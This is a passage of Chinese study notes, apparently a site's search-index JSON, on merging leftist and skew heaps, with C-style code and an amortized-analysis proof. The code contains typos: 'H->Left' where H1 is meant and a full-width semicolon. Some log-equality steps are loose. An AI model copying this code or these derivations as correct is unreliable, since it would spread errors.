\u7684\u53f3\u5b50\u6811\u548c H2 \u5408\u5e76\uff08\u8fd9\u662f\u9012\u5f52\u7684\u4f53\u73b0\uff0c\u5728 base case \u8bbe\u8ba1\u826f\u597d\uff0c\u5176\u5b83\u6b65\u9aa4\u4e5f\u90fd\u5408\u7406\u7684\u60c5\u51b5\u4e0b\u4f60\u5b8c\u5168\u53ef\u4ee5\u76f8\u4fe1\u8fd9\u4e00\u6b65\u9012\u5f52\u5e2e\u4f60\u505a\u5bf9\u4e86\uff09\uff0c\u6210\u4e3a H1 \u7684\u65b0\u53f3\u5b50\u6811\uff1b</li> <li>\u5982\u679c H1 \u7684 Npl \u6027\u8d28\u88ab\u8fdd\u53cd\uff0c\u5219\u4ea4\u6362\u5b83\u7684\u4e24\u4e2a\u5b50\u6811\uff1b</li> <li>\u66f4\u65b0 H1 \u7684 Npl\uff0c\u7ed3\u675f\u4efb\u52a1</li> </ol> \u5408\u5e76\u7684\u5199\u6cd5 <pre><code>PriorityQueue Merge( PriorityQueue H1, PriorityQueue H2 )\n{ \nif (H1==NULL) return H2;\nif (H2==NULL) return H1;\nif (H1-&gt;Element&gt;H2-&gt;Element)\n    swap(H1, H2);  //swap H1 and H2\nif ( H1-&gt;Left == NULL )\n    H-&gt;Left=H2;                  \nelse {\n    H1-&gt;Right = Merge( H1-&gt;Right, H2 );\n    if ( H1-&gt;Left-&gt;Npl &lt; H1-&gt;Right-&gt;Npl )\n    SwapChildren( H1 );  //swap the left child and right child of H1\n    H1-&gt;Npl=H1-&gt;Right-&gt;Npl+1;\n}\nreturn H1;\n}\n</code></pre> <p><code>swap</code>\u51fd\u6570\u53ef\u4ee5\u8c03\u7528<code>std::swap</code>\uff0c\u4e5f\u53ef\u4ee5\u81ea\u5df1\u5b9e\u73b0\u3002</p> <p>\u9012\u5f52\u5b9e\u73b0\u7684\u590d\u6742\u5ea6</p> <p>\u9996\u5148\u5206\u6790\u9012\u5f52\u7684\u6700\u5927\u6df1\u5ea6\u3002\u6211\u4eec\u53d1\u73b0\uff0c\u5728 1-5 \u6b65\u8fd9\u6837\u7684\u9012\u5f52\u8fc7\u7a0b\u4e2d\uff0c\u4ea7\u751f\u7684\u9012\u5f52\u5c42\u6570\u4e0d\u4f1a\u8d85\u8fc7\u4e24\u4e2a\u5de6\u5f0f\u5806\u7684\u53f3\u8def\u5f84\u957f\u5ea6\u4e4b\u548c\uff0c\u56e0\u4e3a\u6bcf\u6b21\u9012\u5f52\u90fd\u4f1a\u4f7f\u5f97\u4e24\u4e2a\u5806\u7684\u5176\u4e2d\u4e00\u4e2a\uff08\u6839\u7ed3\u70b9 key \u66f4\u5c0f\u7684\uff09\u5411\u7740\u53f3\u8def\u5f84\u4e0a\u4e0b\u4e00\u4e2a\u53f3\u5b69\u5b50\u63a8\u8fdb\uff0c\u5e76\u4e14\u76f4\u5230\u5176\u4e2d\u4e00\u4e2a\u63a8\u5230\u4e86 null \u7ed3\u70b9\u5c31\u4e0d\u518d\u52a0\u6df1\u9012\u5f52\u3002\u6ce8\u610f\u52a0\u6df1\u4e00\u5c42\u7684\u8fc7\u7a0b\u4e2d\u7684\u64cd\u4f5c\u662f\u5e38\u6570\u7684\uff0c\u56e0\u4e3a\u53ea\u9700\u8981\u7b80\u5355\u7684\u5927\u5c0f\u6bd4\u8f83\u548c\u627e\u5b69\u5b50\uff0c\u52a0\u4e0a\u53f3\u8def\u5f84\u957f\u5ea6\u7684\u9650\u5236\uff0c\u56e0\u6b64\u9012\u5f52\u5411\u4e0b\u7684\u8fc7\u7a0b\u662f \\(O(\\log n)\\) \u7684\u3002\u8fd9\u4e00\u70b9\u6211\u4eec\u53ef\u4ee5\u66f4\u4e25\u8c28\u5730\u5c55\u5f00\uff1a\u5047\u8bbe \\(H1\\) \u5927\u5c0f\u4e3a \\(N1\\)\uff0c\\(H2\\) \u5927\u5c0f\u4e3a \\(N2\\)\uff0c\u4e24\u8005\u8def\u5f84\u4e4b\u548c</p> \\[O( \\log N1 + \\log N2) = O(\\log N1N2) = O(log \\sqrt{N1N2}) = O(\\log(N1 + N2))\\] <p>\u4e0a\u9762\u7684\u63a8\u5bfc\u7528\u5230\u4e86\u57fa\u672c\u4e0d\u7b49\u5f0f \\(a + b \\geqslant 2\\sqrt{ab}\\)\u3002\u603b\u800c\u8a00\u4e4b\uff0c\u4e24\u4e2a\u5806\u53f3\u8def\u5f84\u957f\u5ea6\u4e4b\u548c\u4ecd\u7136\u662f\u4e24\u4e2a\u5806\u5927\u5c0f\u7684\u5bf9\u6570\u7ea7\u522b\uff0c\u56e0\u6b64\u9012\u5f52\u5c42\u6570\u662f \\(O(\\log n)\\) \u7684\u662f\u51c6\u786e\u7684\u63a5\u4e0b\u6765\u5206\u6790\u9012\u5f52\u8fd4\u56de\u7684\u64cd\u4f5c\uff0c\u4e8b\u5b9e\u4e0a\u6bcf\u4e00\u5c42\u7684\u64cd\u4f5c\u4e5f\u662f\u5e38\u6570\u7684\uff0c\u56e0\u4e3a\u53ea\u9700\u8981\u63a5\u4e0a\u65b0\u7684\u6307\u9488\uff0c\u5224\u65ad\u3001\u4ea4\u6362 \u5b50\u6811\u4ee5\u53ca\u66f4\u65b0 Npl\uff0c\u6240\u4ee5\u4e5f\u662f \\(O(\\log n)\\) \u7684\uff0c\u56e0\u6b64\u603b\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u5c31\u662f \\(O(\\log n)\\) \u7684\u3002</p> <p>\u8fed\u4ee3\u5b9e\u73b0</p> <p>\u9012\u5f52\u8fc7\u7a0b\u7684\u5c55\u5f00\u5b9e\u9645\u4e0a\u5c31\u7b49\u4ef7\u4e8e\u8fed\u4ee3\u7b97\u6cd5\u7684\u6d41\u7a0b\uff1a\u6bcf\u4e00\u6b21\u9012\u5f52\u5411\u4e0b\u5bf9\u5e94\u8fed\u4ee3\u4e2d\u4fdd\u7559\u6839\u7ed3\u70b9\u66f4\u5c0f\u7684\u5806\u7684\u5de6\u5b50\u6811\uff08\u5c31\u50cf\u662f\u5de6\u5b50\u6811\u4e0d\u52a8\uff0c\u53f3\u5b50\u6811\u7b49\u7740\u63a5\u4e0b\u6765\u5408\u5e76\u7684\u7ed3\u679c\uff09\uff0c\u76f4\u5230\u6700\u540e\u4e00\u6b21\u4e0e null\u5408\u5e76\u76f4\u63a5\u63a5\u4e0a\uff0c\u9012\u5f52\u8fd4\u56de\u8fc7\u7a0b\u5b9e\u9645\u4e0a\u5c31\u662f\u9010\u4e2a\u68c0\u67e5\u65b0\u7684\u53f3\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u662f\u5426\u6709\u8fdd\u53cd Npl \u6027\u8d28\u7684\u5e76\u4e14\u66f4\u65b0 Npl \u5373\u53ef\uff0c\u5176\u5b83\u7ed3\u70b9\u65e0\u9700\u5173\u5fc3\u662f\u56e0\u4e3a\u5b83\u4eec\u6839\u672c\u5c31\u4e0d\u53d7\u5f71\u54cd\u56e0\u4e3a\u6211\u4eec\u5df2\u7ecf\u8bf4\u660e\u4e86\u8fed\u4ee3\u548c\u9012\u5f52\u7684\u6bcf\u4e00\u6b65\u90fd\u662f\u6709\u5bf9\u5e94\u5173\u7cfb\u7684\uff0c\u53ea\u4e0d\u8fc7\u9012\u5f52\u662f\u6700\u540e\u8fd4\u56de\u65f6\u624d\u63a5\u4e0a\u6bcf\u4e2a\u7ed3\u70b9\u7684\u53f3\u5b50\u6811\uff0c\u8fed\u4ee3\u8fc7\u7a0b\u4e2d\u5c31\u5df2\u7ecf\u63a5\u597d\u4e86\uff0c\u56e0\u6b64\u4e8c\u8005\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u4e00\u6837\u7684\u3002\u5f53\u7136\uff0c\u6211\u4eec\u5728\u5b8c\u6210\u4e0a\u9762\u7684\u6d41\u7a0b\u540e\u4f1a\u6709\u4e00\u4e2a\u89c2\u5bdf\uff0c\u5c31\u662f\u5728\u9012\u5f52\u5411\u4e0b\u4e4b\u540e\uff0c\u6216\u8005\u8bf4\u4ea4\u6362\u5b69\u5b50\u8c03\u6574\u5de6\u5f0f\u5806\u6027\u8d28\u4e4b\u524d\uff0c\u5408\u5e76\u5f97\u5230\u7684\u5806\u7684\u53f3\u8def\u5f84\u662f\u539f\u6765\u4e24\u4e2a\u5806\u7684\u53f3\u8def\u5f84\u5408\u5e76\u6392\u5e8f\u7684\u7ed3\u679c\uff0c\u901a\u8fc7\u4e0a\u9762\u7684\u8fc7\u7a0b\u6211\u4eec\u5f88\u5bb9\u6613\u8bc1\u660e\u8fd9\u4e00\u7ed3\u8bba\u662f\u901a\u7528\u7684\uff0c\u56e0\u4e3a\u6211\u4eec\u6bcf\u6b21\u90fd\u5728\u6bd4\u8f83\u4e24\u4e2a\u5806\u7684\u53f3\u8def\u5f84\u4e0a\u4e24\u4e2a\u70b9\u7684\u5927\u5c0f\uff0c\u7136\u540e\u628a\u5c0f\u7684\u4f5c\u4e3a\u6839\u63d2\u5165\u3002\u6709\u4e86\u8fd9\u4e00\u89c4\u5f8b\uff0c\u6211\u4eec\u505a\u9898\u4f1a\u66f4\u5feb\u6377\u4e00\u4e9b\uff0c\u56e0\u4e3a\u4f60\u53ea\u9700\u8981\u628a\u4e24\u6761\u53f3\u8def\u5f84\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\uff0c\u7136\u540e\u4ece\u5c0f\u5230\u5927\u4f9d\u6b21\u5e26\u7740\u5de6\u5b50\u6811\u63a5\u5165\u5230\u65b0\u7684\u53f3\u8def\u5f84\u5373\u53ef\uff08\u4f46\u8981\u6ce8\u610f\u5728\u6b64\u4e4b\u540e\u8fd8\u9700\u8981\u8c03\u6574\u4f7f\u5f97\u6ee1\u8db3\u5de6\u5f0f\u5806\u7ed3\u6784\u6027\u8d28\uff09\u3002\u56e0\u6b64\u6211\u4eec\u7528\u4ee3\u7801\u5b9e\u73b0\u8fed\u4ee3\u7248\u672c\u4e5f\u5e76\u6ca1\u6709\u60f3\u8c61\u4e2d\u590d\u6742\uff0c\u53ea\u9700\u8981\u5bf9\u4e24\u4e2a\u5806\u53f3\u8def\u5f84\u4ece\u5c0f\u5230\u5927\u904d\u5386\u64cd\u4f5c\uff0c\u7136\u540e\u518d\u4ece\u53f3\u8def\u5f84\u6700\u540e\u4e00\u4e2a\u70b9\u8fd4\u56de\u6839\u7ed3\u70b9\uff0c\u8fc7\u7a0b\u4e2d\u68c0\u67e5\u7ed3\u6784\u6027\u8d28\u5e76\u66f4\u65b0 Npl \u5373\u53ef</p> <pre><code>void npl_update(LeftistHeap h) {\n    if (h == NULL) return;\n    h-&gt;npl = h-&gt;right == NULL ? 0 : h-&gt;right-&gt;npl + 1;\n}\n\nLeftistHeap merge_iterative(LeftistHeap h1, LeftistHeap h2) {\n    if (h1 == NULL) return h2;\n    if (h2 == NULL) return h1;\n    LeftistHeap stack[MAX_STACK_SIZE] = {NULL};\n    int top = -1;\n    LeftistHeap h = NULL;//\u521b\u5efa\u65b0\u5806\n    LeftistHeap *p = &amp;h;//\u6307\u5411\u65b0\u5806\u7684\u6307\u9488\uff0c\u7528\u4e8e\u66f4\u65b0\n    while (h1 != NULL &amp;&amp; h2 != NULL) {\n        if (h1-&gt;key &gt; h2-&gt;key) {\n            swap(h1, h2);\n        }//\u4fdd\u8bc1h1\u7684key\u5c0f\u4e8eh2\n        stack[++top] = h1;//\u5c06h1\u5165\u6808\n        *p = h1;//\u4fee\u6539\u65b0\u5806\u5bf9\u5e94\u4f4d\u7f6e\u4e0a\u7684\u503c\n        p = &amp;h1-&gt;right;//\u6307\u9488\u6307\u5411\u4e0b\u4e00\u4e2a\u9700\u8981\u66f4\u65b0\u7684\u4f4d\u7f6e\n        LeftistHeap next = h1-&gt;right;//\u4fdd\u7559\u4e0b\u4e00\u4e2ah1\n        h1-&gt;right = h2;//\u5c06h2\u63a5\u5230h1\u7684\u53f3\u8fb9,\u5982\u679c\u6b64\u65f6\u63a5\u5f97\u4e0d\u5bf9\uff0c\u4f1a\u5728\u4e0b\u4e00\u6b21\u5faa\u73af\u4e2d*p=h1\uff0c\u6765\u4fee\u6539\n        h1 = next;//\u66f4\u65b0h1  \n    }\n    *p = h1 == NULL ? h2 : h1;//\u5269\u4f59\u7684\u76f4\u63a5\u63a5\u4e0a\n    while (top &gt;= 0) {\n        npl_update(stack[top--]);\n    }//\u66f4\u65b0npl\n    adjust(h);//\u8c03\u6574\u5806\n    return h;\n}\n\nvoid adjust(LeftistHeap h) {\n    if (h == NULL) return;\n    adjust(h-&gt;right);\n    if (h-&gt;right == NULL) return\uff1b\n    if (h-&gt;left==NULL||h-&gt;left-&gt;npl &lt; h-&gt;right-&gt;npl) {\n        swap(h-&gt;left, h-&gt;right);\n    }\n    npl_update(h);\n}\n</code></pre>"},{"location":"NOTE/ADS/wk3_2/#_6","title":"\u659c\u5806","text":"<p>\u659c\u5806\u4e0e\u5de6\u5f0f\u5806\u7684\u5173\u7cfb\u5c31\u50cf\u662f splay \u6811\u548c AVL \u6811\u4e4b\u95f4\u7684\u5173\u7cfb\u3002\u56de\u987e splay \u6811\uff0c\u5b83\u5e76\u4e0d\u9700\u8981\u7ef4\u62a4 AVL \u6811\u4e2d\u7684 bf \u5c5e\u6027\uff0c\u53ea\u9700\u8981\u5728\u8bbf\u95ee\u4e00\u4e2a\u7ed3\u70b9\u4e4b\u540e\u5c31\u65e0\u8111\u5730\u5c06\u5b83\u7528 zig/zig-zig/zig-zag \u4e09\u79cd\u60c5\u51b5\u5c06\u5b83\u7ffb\u5230\u6839\u7ed3\u70b9\u5373\u53ef\u3002</p> <p>\u659c\u5806\u4e5f\u662f\u7c7b\u4f3c\u7684\u60f3\u6cd5\uff0c\u5b83\u4e0d\u7528\u518d\u7ef4\u62a4 Npl\uff0c\u56e0\u6b64\u5728\u9012\u5f52\u8fc7\u7a0b\u4e2d\u5de6\u5f0f\u5806\u6240\u6709\u7ef4\u62a4\u7ed3\u6784\u6027\u8d28\u4ee5\u53ca\u66f4\u65b0 Npl \u7684</p> <p>\u64cd\u4f5c\u4e0d\u518d\u9700\u8981\uff0c\u53d6\u800c\u4ee3\u4e4b\u7684\u662f\u5982\u4e0b\u64cd\u4f5c:</p> <p>\u659c\u5806</p> <ol> <li> <p>\u5728 base case \u662f\u5904\u7406 H \u4e0e null \u8fde\u63a5\u7684\u60c5\u51b5\u65f6\uff0c\u5de6\u5f0f\u5806\u76f4\u63a5\u8fd4\u56de H \u5373\u53ef\uff0c\u4f46\u659c\u5806\u5fc5\u987b\u770b H \u7684\u53f3\u8def\u5f84\uff0c\u6211\u4eec\u8981\u6c42 H \u53f3\u8def\u5f84\u4e0a\u9664\u4e86\u6700\u5927\u7ed3\u70b9\u4e4b\u5916\u90fd\u5fc5\u987b\u4ea4\u6362\u5176\u5de6\u53f3\u5b69\u5b50\u3002</p> </li> <li> <p>\u5728\u975e base case \u65f6\uff0c\u82e5 H1 \u7684\u6839\u7ed3\u70b9\u5c0f\u4e8e H2\uff0c\u5982\u679c\u662f\u5de6\u5f0f\u5806\uff0c\u6211\u4eec\u9700\u8981\u5408\u5e76 H1 \u7684\u53f3\u5b50\u6811\u548c H2\u4f5c\u4e3a H1 \u7684\u65b0\u53f3\u5b50\u6811\uff0c\u6700\u540e\u518d\u5224\u65ad\u8fd9\u6837\u662f\u5426\u8fdd\u53cd\u6027\u8d28\u51b3\u5b9a\u662f\u5426\u4ea4\u6362\u5de6\u53f3\u5b69\u5b50\uff0c\u659c\u5806\u76f4\u63a5\u65e0\u8111\u4ea4\u6362\uff0c\u4e5f\u5c31\u662f\u8bf4\u6bcf\u6b21\u8fd9\u79cd\u60c5\u51b5\u90fd\u628a H1 \u7684\u5de6\u5b69\u5b50\u6362\u5230\u53f3\u5b69\u5b50\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u628a\u65b0\u5408\u5e76\u7684\u63d2\u5165\u5728 H1 \u7684\u5de6\u5b50\u6811\u4e0a\u3002</p> </li> </ol> <p>\u603b\u7684\u6765\u8bf4\uff0c\u659c\u5806\u7684\u57fa\u672c\u64cd\u4f5c\u4e0e\u5de6\u5f0f\u5806\u7c7b\u4f3c\uff0c\u4f46\u662f\u6bcf\u4e00\u6b21\u9012\u5f52\u5b8c\u6bd5\u90fd\u8fdb\u884c\u4e0d\u52a0\u5224\u65ad\u5927\u5c0f\u7684\u4ea4\u6362\u64cd\u4f5c</p> <p>Example</p> <p></p> <p>\u5982\u679c\u6211\u4eec\u50cf\u524d\u9762\u5206\u6790\u5de6\u5f0f\u5806\u90a3\u6837\u5c55\u5f00\u9012\u5f52\u7684\u6bcf\u4e00\u6b65\uff0c\u524d\u9762\u7684\u8fc7\u7a0b\u5f88\u597d\u7406\u89e3\uff0c\u5c31\u662f\u65e0\u8111\u4ea4\u6362\u6839\u7684 key \u66f4\u5c0f\u7684\u5806\u7684\u5de6\u53f3\u5b69\u5b50\uff0c\u5173\u952e\u5728\u4e8e\u5f53\u9012\u5f52\u5230\u6700\u6df1\u7684\u4e00\u5c42\u6211\u4eec\u770b\u5230\u5b9e\u9645\u4e0a\u662fmerge \u4e00\u4e2a null \u5806\u548c\u4e00\u4e2a 18 \u4e3a\u6839\u300135 \u4e3a 18 \u7684\u5de6\u5b69\u5b50\u7684\u5806\uff0c\u6211\u4eec\u770b\u4e0a\u9762\u64cd\u4f5c\u7684\u7b2c\u4e00\u6761\uff0c\u8fd9\u4e2a\u5806\u7684\u53f3\u8def\u5f84\u4e0a\u9664\u4e86\u6700\u5927\u7ed3\u70b9\u5916\u90fd\u8981\u4ea4\u6362\u5de6\u53f3\u5b69\u5b50\uff0c\u4f46\u5e78\u8fd0\u7684\u662f\uff0c\u8fd9\u4e2a\u5806\u53f3\u8def\u5f84\u53ea\u6709 18 \u4e00\u4e2a\u7ed3\u70b9\uff0c\u5b83\u662f\u6700\u5927\u7684\uff0c\u6240\u4ee5\u65e0\u9700\u4ea4\u6362\u3002\u7ef4\u57fa\u767e\u79d1\u7b49\u5730\u65b9\u7684\u659c\u5806 base case \u4e4b\u540e\u90fd\u65e0\u9700\u64cd\u4f5c\uff0c\u4f46\u8fd9\u91cc\u53ef\u80fd\u8fd8\u6709\u64cd\u4f5c</p> <p>\u6700\u540e\u5408\u5e76\u51fa\u7684\u5806\u7684\u5de6\u8def\u5f84\u4e0a\u8bb2\u5305\u542b\u4e24\u4e2a\u539f\u59cb\u5806\u7684\u53f3\u8def\u5f84\u6392\u5e8f\u540e\u7684\u7ed3\u679c\uff0c\u5f53\u7136\u540e\u9762\u8fd8\u53ef\u80fd\u8fde\u7740\u539f\u59cb\u5806\u53f3\u8def\u5f84\u6700\u5927\u503c\u7684\u4e00\u4e9b\u5de6\u5b69\u5b50\uff08\u56e0\u4e3a\u8fd9\u4e9b\u5de6\u5b69\u5b50\u662f\u4e0d\u88ab\u4ea4\u6362\u7684\uff09</p>"},{"location":"NOTE/ADS/wk3_2/#_7","title":"\u659c\u5806\u7684\u644a\u8fd8\u5206\u6790","text":"<p>\u659c\u5806\u7684\u671f\u671b\u7c7b\u4f3c\u4e8eSplay tree\uff0cAny M consecutive operations take at most \\(O(M \\log N)\\) time,\u4e3a\u4e86\u8bc1\u660e\u8fd9\u4e2a\uff0c\u6211\u4eec\u4ecd\u7136\u9700\u8981\u7528\u52bf\u51fd\u6570\u6cd5\u6765\u8fdb\u884c\u644a\u8fd8\u5206\u6790\u3002</p> <p>\u5b9a\u4e49\u52bf\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u8981\u5148\u5b9a\u4e49\u4e00\u4e9b\u5176\u5b83\u7684\u4e1c\u897f</p> <p>Definition</p> <p>\u6211\u4eec\u79f0\u4e00\u4e2a\u7ed3\u70b9 P \u662f\u91cd\u7684\uff08heavy\uff09\uff0c\u5982\u679c\u5b83\u7684\u53f3\u5b50\u6811\u7ed3\u70b9\u4e2a\u6570\u81f3\u5c11\u662f P \u7684\u6240\u6709\u540e\u4ee3\u7684\u4e00\u534a\uff08\u540e\u4ee3\u5305\u62ec P \u81ea\u8eab\uff09\u3002\u53cd\u4e4b\u79f0\u4e3a\u8f7b\u7ed3\u70b9\uff08light node\uff09</p> <p>\u5f15\u7406</p> <p>\u5bf9\u4e8e\u53f3\u8def\u5f84\u4e0a\u6709 \\(l\\) \u4e2a\u8f7b\u7ed3\u70b9\u7684\u659c\u5806\uff0c\u6574\u4e2a\u659c\u5806\u81f3\u5c11\u6709 \\(2^l \u2212 1\\) \u4e2a\u7ed3\u70b9\uff0c\u8fd9\u610f\u5473\u7740\u4e00\u4e2a \\(n\\) \u4e2a\u7ed3\u70b9\u7684\u659c\u5806\u53f3\u8def\u5f84\u4e0a\u7684\u8f7b\u7ed3\u70b9\u4e2a\u6570\u4e3a \\(O(\\log n)\\)\u3002</p> <p>\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u6765\u8bc1\u660e\uff1a</p> <p>\u9996\u5148\uff0c\u5bf9\u4e8el=1,\u6574\u68f5\u6811\u81f3\u5c11\u6709\\(2^1-1=1\\)\u4e2a\u7ed3\u70b9\uff0c\u7ed3\u8bba\u662f\u6b63\u786e\u7684\uff1b \u5047\u8bbe\u5bf9\u4e8e\u53f3\u8def\u5f84\u4e0a\u6709\u5c0f\u4e8e\u7b49\u4e8e\\(l\\)\u4e2a\u8f7b\u7ed3\u70b9\u7684\u659c\u5806\uff0c\u6574\u4e2a\u659c\u5806\u81f3\u5c11\u6709\\(2^l-1\\)\u4e2a\u7ed3\u70b9\u7684\u7ed3\u8bba\u90fd\u6210\u7acb \u73b0\u5728\u8003\u8651\u53f3\u8def\u5f84\u4e0a\u6709\\(l+1\\)\u4e2a\u8f7b\u7ed3\u70b9\u7684\u659c\u5806\u3002 \u8bbe\u53f3\u8def\u5f84\u4e0a\u7b2c\u4e00\u4e2a\u8f7b\u7ed3\u70b9\u4e3aP\uff0c\u5982\u679c\u628a\u8fd9\u4e2a\u7ed3\u70b9\u53ca\u5176\u5de6\u5b50\u6811\u4e00\u8d77\u5220\u9664\uff0c\u5219\u81f3\u5c11\u5220\u9664\u4e86\u4ee5P\u4e3a\u6839\u7684\u5b50\u6811\u7684\u6240\u6709\u7684\u7ed3\u70b9\u7684\u4e00\u534a\u518d\u52a0\u4e00(\u53f3\u5b50\u6811\u8282\u70b9\u6570\u52a0\u6839)\uff0c\u56e0\u4e3aP\u662f\u8f7b\u7684\uff1b\u5219\u5269\u4e0b\u7684\u53f3\u8def\u5f84\u4e0a\u6709\\(l\\)\u4e2a\u8f7b\u7ed3\u70b9\uff0c\u6839\u636e\u5f52\u7eb3\u5047\u8bbe\uff0c\u5269\u4e0b\u7684\u7ed3\u70b9\u81f3\u5c11\u6709\\(2^l-1\\)\u4e2a\uff0c\u52a0\u4e0a\u5220\u6389\u7684\u7ed3\u70b9\uff0c\u6574\u4e2a\u659c\u5806\u81f3\u5c11\u6709\\(2*(2^l-1)+1\\)</p> <p>\u6211\u4eec\u9700\u8981\u8bc1\u660e\u7684\u662f</p> <p>\u82e5\u6211\u4eec\u6709\u4e24\u4e2a\u659c\u5806 \\(H1\\) \u548c \\(H2\\)\uff0c\u5b83\u4eec\u5206\u522b\u6709 \\(n_1\\) \u548c \\(n_2\\) \u4e2a\u7ed3\u70b9\uff0c\u5219\u5408\u5e76 \\(H1\\) \u548c \\(H2\\) \u7684\u644a\u8fd8\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(\\log n)\\)\uff0c\u5176\u4e2d \\(n = n_1 + n_2\\)\u3002</p> <p>\u56e0\u4e3ainsert\u548cdelete\u90fd\u662f\u4ee5merge\u4e3a\u57fa\u7840\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u8bc1\u660emerge\u7684\u644a\u8fd8\u65f6\u95f4\u590d\u6742\u5ea6\u5373\u53ef\u3002</p> <p>Proof</p> <p>\u8bc1\u660e: \u6211\u4eec\u5b9a\u4e49\u52bf\u51fd\u6570 \\(\\Phi(Hi)\\) \u7b49\u4e8e\u5806 \\(Hi\\) \u7684\u91cd\u7ed3\u70b9\uff08heavy node\uff09\u7684\u4e2a\u6570\uff0c\u5e76\u4ee4 H3 \u4e3a\u5408\u5e76\u540e\u7684\u65b0\u5806.\u6211\u4eec\u8bbe \\(Hi(i = 1, 2)\\) \u7684\u53f3\u8def\u5f84\u4e0a\u7684\u8f7b\u7ed3\u70b9\u6570\u91cf\u4e3a \\(li\\)\uff0c\u91cd\u7ed3\u70b9\u6570\u91cf\u4e3a \\(hi\\)\uff0c\u56e0\u6b64\u771f\u5b9e\u7684\u5408\u5e76\u64cd\u4f5c\u6700\u574f\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a </p> \\[ci = l1 + l2 + h1 + h2\\] <p>(\u6240\u6709\u64cd\u4f5c\u90fd\u5728\u53f3\u8def\u5f84\u4e0a\u5b8c\u6210)\u3002\u56e0\u6b64\u6839\u636e\u644a\u8fd8\u5206\u6790\u6211\u4eec\u77e5\u9053\u644a\u8fd8\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a</p> \\[     \\hat{ci} = ci + \\Phi(H3) \u2212 (\\Phi(H1) + \\Phi(H2)) \\] <p>\u4e8b\u5b9e\u4e0a\uff0c\u5728 merge \u524d\u6211\u4eec\u53ef\u4ee5\u8bb0\\(\\Phi(H1) + \\Phi(H2) = h1 + h2 + h\\),\u5176\u4e2d \\(h\\) \u8868\u793a\u4e0d\u5728\u53f3\u8def\u5f84\u4e0a\u7684\u91cd\u7ed3\u70b9\u4e2a\u6570\u3002\u73b0\u5728\u6211\u4eec\u8981\u8003\u5bdf\u5408\u5e76\u540e\u7684\u60c5\u51b5\uff0c\u4e8b\u5b9e\u4e0a\u6211\u4eec\u6709\u4e24\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u89c2\u5bdf\uff1a</p> <ol> <li> <p>\u53ea\u6709\u5728 H1 \u548c H2 \u53f3\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u624d\u53ef\u80fd\u6539\u53d8\u8f7b\u91cd\u72b6\u6001\uff0c\u8fd9\u662f\u5f88\u663e\u7136\u7684\uff0c\u56e0\u4e3a\u5176\u5b83\u7ed3\u70b9\u5408\u5e76\u524d\u540e\u5b50\u6811\u662f\u5b8c\u5168\u88ab\u590d\u5236\u7684\uff0c\u6240\u4ee5\u4e0d\u53ef\u80fd\u6539\u53d8\u8f7b\u91cd\u72b6\u6001\uff1b</p> </li> <li> <p>H1 \u548c H2 \u53f3\u8def\u5f84\u4e0a\u7684\u91cd\u7ed3\u70b9\u5728\u5408\u5e76\u540e\u4e00\u5b9a\u4f1a\u53d8\u6210\u8f7b\u7ed3\u70b9\uff0c\u8fd9\u662f\u56e0\u4e3a\u53f3\u8def\u5f84\u4e0a\u7ed3\u70b9\u4e00\u5b9a\u4f1a\u4ea4\u6362\u5de6\u53f3\u5b50\u6811\uff0c\u5e76\u4e14\u540e\u7eed\u6240\u6709\u7ed3\u70b9\u4e5f\u90fd\u4f1a\u7ee7\u7eed\u63d2\u5165\u5728\u5de6\u5b50\u6811\u4e0a\uff08\u8fd9\u4e5f\u8868\u660e\u8f7b\u7ed3\u70b9\u4e0d\u4e00\u5b9a\u53d8\u4e3a\u91cd\u7ed3\u70b9\uff09\u3002\u7ed3\u5408\u4ee5\u4e0a\u4e24\u70b9\uff0c\u6211\u4eec\u77e5\u9053\u5408\u5e76\u540e\u539f\u672c\u4e0d\u5728\u53f3\u8def\u5f84\u4e0a\u7684 h \u4e2a\u91cd\u7ed3\u70b9\u4ecd\u7136\u662f\u91cd\u7ed3\u70b9\uff0c\u5728\u53f3\u8def\u5f84\u4e0a\u7684\\(h1 + h2\\)\u4e2a\u91cd\u7ed3\u70b9\u5168\u90e8\u53d8\u6210\u8f7b\u7ed3\u70b9\uff0c\\(l1 + l2\\) \u4e2a\u8f7b\u7ed3\u70b9\u4e0d\u4e00\u5b9a\u90fd\u53d8\u91cd\uff0c\u56e0\u6b64\u5408\u5e76\u540e\u6211\u4eec\u6709\\(\\Phi(H3) \\leqslant l1 + l2 + h\\),\u4ee3\u5165\u6570\u636e\u8ba1\u7b97\u53ef\u5f97</p> </li> </ol> \\[     \\hat{ci} \\leqslant (l1 + l2 + h1 + h2) + (l1 + l2 + h) \u2212 (h1 + h2 + h) = 2(l1 + l2). \\] <p>\u6839\u636e\u524d\u9762\u7684\u5f15\u7406\uff0c\\(l1 + l2 = O(\\log n_1 + \\log n_2) = O(\\log(n_1 + n_2)) = O(\\log n)\\)\uff08\u8fd9\u91cc\u7684\u7b49\u53f7\u4e4b\u524d\u6709\u5b8c\u5168\u4e00\u6837\u7684\u8bf4\u660e\u8fc7\uff09\uff0c\u5e76\u4e14\u6ce8\u610f\u5230\u521d\u59cb\uff08\u7a7a\u5806\uff09\u52bf\u51fd\u6570\u4e00\u5b9a\u4e3a 0\u3002\u4e14\u4e4b\u540e\u603b\u662f\u975e\u8d1f\u7684\uff0c\u6240\u4ee5\u8fd9\u4e00\u52bf\u51fd\u6570\u5b9a\u4e49\u6ee1\u8db3\u8981\u6c42\uff0c\u56e0\u6b64\u6211\u4eec\u7684\u8bc1\u660e\u4e5f\u5c31\u5b8c\u6210\u4e86\u3002</p> <p>Key-point</p> <p>\u5bf9\u4e8e\u659c\u5806\u548c\u5de6\u5f0f\u5806\u7684\u5408\u5e76,\u662f\\(O(\\log 